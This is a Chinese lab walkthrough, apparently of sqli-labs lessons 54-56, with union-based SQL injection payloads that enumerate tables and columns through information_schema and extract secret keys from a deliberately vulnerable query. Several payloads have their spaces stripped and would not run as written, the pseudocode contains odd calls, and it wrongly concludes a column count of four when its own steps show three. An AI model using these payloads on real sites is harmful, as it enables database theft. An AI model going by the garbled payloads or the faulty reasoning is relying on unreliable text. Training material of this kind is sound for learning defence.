0x01 进阶挑战 54-65
Lesson-54
该题为单引号get型注入,利用方式包括联合查询、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
if($_POST['reset']):
setcookie('challenge',' ',time()-3600000);
else:
if($_COOKIE['challenge']):
$sessid=$_COOKIE['challenge'];
else:
$expire =time()+60*60*24*30;
$hash =data($table,$col);
setcookie("challenge", $hash, $expire);
if($_GET['id']):
$id=$_GET['id'];
next_tryy()>=($times+1)
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
iftrue:
输出查询信息;
else:
输出报错;
注意:该题对查询次数进行了限制,我们需要在十次查询以内拿到 key,由于报错不输出 mysql 错误信息,因此不能使用报错注入。
使用联合查询判断注入点
id=1'--+
判断字段数
id=1' order by 3--+ //返回正确
id=1'orderby4--+ //返回异常
由此可判断字段数为4,通过 union select 查看回显位置
id=-1' union select 1,2,3--+
查询表名
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
查询列名
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='6r90s8mprd'--+
查询关键信息
id=-1' union select 1,2,group_concat(secret_OB1G) from 6r90s8mprd--+
成功拿到 key 值:lqZTCWPcYokbGQP8WQdImRzj
需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息
Lesson-55
该题为单括号get型注入,利用方式包括联合查询、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
if($_POST['reset']):
setcookie('challenge',' ',time()-3600000);
else:
if($_COOKIE['challenge']):
$sessid=$_COOKIE['challenge'];
else:
$expire =time()+60*60*24*30;
$hash =data($table,$col);
setcookie("challenge", $hash, $expire);
if($_GET['id']):
$id=$_GET['id'];
next_tryy()>=($times+1)
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
iftrue:
输出查询信息;
else:
输出报错;
注意:该题与Lesson54的利用方式相同,只不过拼接方式由单引号变成了单括号,错误次数由10次变为14次
使用联合查询判断注入点
id=1)--+
判断字段数
id=1)orderby3--+ //返回正确
id=1)orderby4--+ //返回异常
由此可判断字段数为4,通过 union select 查看回显位置
id=-1)unionselect1,2,3--+
查询表名
id=-1)unionselect1,2,group_concat(table_name)from information_schema.tableswhere table_schema=database()--+
查询列名
id=-1)unionselect1,2,group_concat(column_name)from information_schema.columnswheretable_name='3lr3dby63p'--+
查询关键信息
id=-1)unionselect1,2,group_concat(secret_WSTL)from3lr3dby63p--+
成功拿到 key 值:omwh2fYfK0SrRVpuGRZai3X6
需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息
Lesson-56
该题为单括号单引号get型注入,利用方式包括联合查询、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
if($_POST['reset']):
setcookie('challenge',' ',time()-3600000);
else:
if($_COOKIE['challenge']):
$sessid=$_COOKIE['challenge'];
else:
$expire =time()+60*60*24*30;
$hash =data($table,$col);
setcookie("challenge", $hash, $expire);
if($_GET['id']):
$id=$_GET['id'];
next_tryy()>=($times+1)
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
iftrue:
输出查询信息;
else:
输出报错;
注意:该题与Lesson54的利用方式相同,只不过拼接方式由单引号变成了单引号单括号,错误次数由10次变为14次
使用联合查询判断注入点
id=1')--+
判断字段数
id=1') order by 3--+ //返回正确
id=1')orderby4--+ //返回异常
由此可判断字段数为4,通过 union select 查看回显位置
id=-1') union select 1,2,3--+
查询表名
id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
查询列名
id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='iw16doek28'--+
查询关键信息
id=-1') union select 1,2,group_concat(secret_CY51) from iw16doek28--+
成功拿到 key 值:uQlKpUNr7EbZHR4NfKausIEj
需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息